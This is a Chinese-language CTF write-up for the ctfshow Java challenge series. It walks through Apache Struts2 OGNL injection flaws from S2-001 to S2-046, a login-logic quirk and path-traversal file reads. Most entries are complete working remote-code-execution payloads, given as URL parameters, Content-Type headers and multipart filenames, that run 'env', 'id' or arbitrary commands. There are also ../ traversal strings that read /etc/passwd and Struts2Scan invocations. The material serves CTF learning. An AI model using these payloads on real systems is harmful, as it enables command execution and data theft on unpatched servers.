CTFSHOW-JAVA
文章发布时间:
最后更新时间:
最后更新时间:
终于到了JAVA部分
- web279. S2-001
打开题面之后跳转到http://61190dad-607d-4ccf-a652-f630921cbd1b.challenge.ctf.show/S2-001/
测试一下%{1+1}
发现表达式存在解析
直接利用脚本https://github.com/HatBoy/Struts2-Scan/
flag位于环境变量当中,所以直接利用1
2
3python3 Struts2Scan.py -u http://61190dad-607d-4ccf-a652-f630921cbd1b.challenge.ctf.show/S2-001/login.action
python3 Struts2Scan.py -u http://61190dad-607d-4ccf-a652-f630921cbd1b.challenge.ctf.show/S2-001/login.action -n S2-001 --execenv
一些常用获取信息的表达式1
2
3
4
5
6
7
8// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} - web280. S2-005
题面开头存在url跳转,可以看到有参数注入点
POC1
(%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27)(racerz)(racerz)&(%27%5Cu0023_memberAccess.acceptProperties%5Cu003d@java.util.Collections@EMPTY_SET%27)(racerz)(racerz)&(%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27)(racerz)(racerz)&(%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27)(racerz)(racerz)&('%5Cu0040java.lang.Runtime%40'%2B'getRuntime().exec(%5Cu0023aa)')(%5Cu0023aa%5Cu003d'open%5Cu0020-a%5Cu0020Calculator.app')('racerz')
- web281. S2-007
类型转换时错误会导致保存参数至stack和context,而在解析标签时会重新导入并执行OGNL解析
POC1
' + (#_memberAccess["allowStaticMethodAccess"]=true ,#context["xwork.MethodAccessor.denyMethodExecution"]=new java.lang.Boolean("false"),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '
- web282. S2-008
这个编号有好几个洞,比较鸡肋。其中能RCE的需要开启devmode调试模式,通过参数debug=console
或debug=browser&object=
或debug=command&expression=
可执行任意OGNL表达式
这个题貌似只有最后一个可以,其他没回显(可能是没页面跳转)
POC1
debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dnew%20java.lang.Boolean(%22false%22)%2C%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('env').getInputStream()))
- web298. 看看代码,了解下和php不一样的地方
给了一个jar包,直接看看路由,有login
{:height 185, :width 572}虽然不知道咋能直接绕过admin,但是确实只要满足username=admin&password=ctfshow即可1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String username = request.getParameter("username");
String password = request.getParameter("password");
User user = new User(username, password);
if (username == "admin") {
out.print("you are not admin");
} else if (user.getVipStatus()) {
out.print("you are login");
String flag = Util.readFlag("/flag");
out.print(flag);
} else {
out.print("login failed");
}
out.flush();
out.close();
}
//////////////////////////////////////////////////////////////////////////////////////////////
public boolean getVipStatus() {
return this.username.equals("admin") && this.password.equals("ctfshow");
} - web299. 了解为主
源码中存在提示
有个文件读取接口,试着读一下配置文件`WEB-INF/web.xml可以看到有个GetFlag类,试着直接读源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0" xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
<display-name></display-name>
<servlet>
<description>This is the description of my J2EE component</description>
<display-name>This is the display name of my J2EE component</display-name>
<servlet-name>ViewSourceServlet</servlet-name>
<servlet-class>com.ctfshow.servlet.ViewSourceServlet</servlet-class>
</servlet>
<servlet>
<description>This is the description of my J2EE component</description>
<display-name>This is the display name of my J2EE component</display-name>
<servlet-name>GetFlag</servlet-name>
<servlet-class>com.ctfshow.servlet.GetFlag</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ViewSourceServlet</servlet-name>
<url-pattern>/view-source</url-pattern>
</servlet-mapping> <servlet-mapping>
<servlet-name>GetFlag</servlet-name>
<url-pattern>/getFlag</url-pattern>
</servlet-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list></web-app>WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
其中可以看到flag文件路径,直接读
先利用..
找到根目录 ->../../../../../etc/passwd
然后直接读flag即可../../../../../fl3g
- web 300. java告一段落
同上,../../../../../f1bg
- web 283. Struts2 showcase远程代码执行漏洞 S2-009
漏洞成因就是黑名单验证只针对参数名而未针对参数值,那么将OGNL写到参数值中,再通过OGNL-context上下文直接调用就行(因为参数上下文信息初始时是直接写到了action stack的root中)
POC1
name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,%23a=@java.lang.Runtime@getRuntime().exec(%27env%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a), %23c=new+java.io.BufferedReader(%23b), %23d=new+char[51200],%23c.read(%23d), %23q=@org.apache.struts2.ServletActionContext@getResponse().getWriter(), %23q.println(%23d), %23q.close())(racr)&z[(name)(%27meh%27)]
- web284. S2-012
配置了重定向类,并利用${}
来进行传参的时候,就会在处理时同样触发到OGNL循环解析
POC1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
web285. S2-013
标签<s:a
或<s:url
可将当前请求中的参数渲染到链接当中,需要设置includeParams
属性值为all/get
。这其中存在OGNL二次解析导致RCEPOC
1
2
3
4${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
test=%25%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D- web286. S2-015
设置通配符*来动态配置url路由及其返回结果页面,将会导致OGNL二次解析POC1
2
3
4
5<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>1
%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action
- web287. S2-016
重定向redirect功能导致和S2-012一样,会对this.location
中的值进行OGNL解析
POC1
redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22env%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D
- web288. S2-019
其实就是S2-008的Debug模式下的利用
POC1
?debug=command&expression=%23p%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter()%2c%23p.println(%22hacker%22)%2c%23p.close()
- web289. S2-029
- web290. S2-032
DMI开启下,可以通过DefaultMemberAccess绕过静态方法限制,实现RCE1
method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=env
web291. S2-033
开启Strut2 REST Plugin插件时,对actionName没有限制,导致可以绕过限制最终和S2-032一样,在
DefaultActionInvocation#invokeAction
中调用OGNL解析method,实现RCE1
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=id
- web292. S2-037
和S2-033同理 - web293. S2-045
Content-type可控并流入errors中导致OGNL解析;利用JAVA对象引用特性绕过OGNL解析限制
POC1
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
- web294. S2-046
与S2-045原理一致,source点改为filename字段,利用条件是出现\u0000
或者数据大小超过2G
POC1
Content-Disposition: form-data; name="upload"; filename="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='env').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}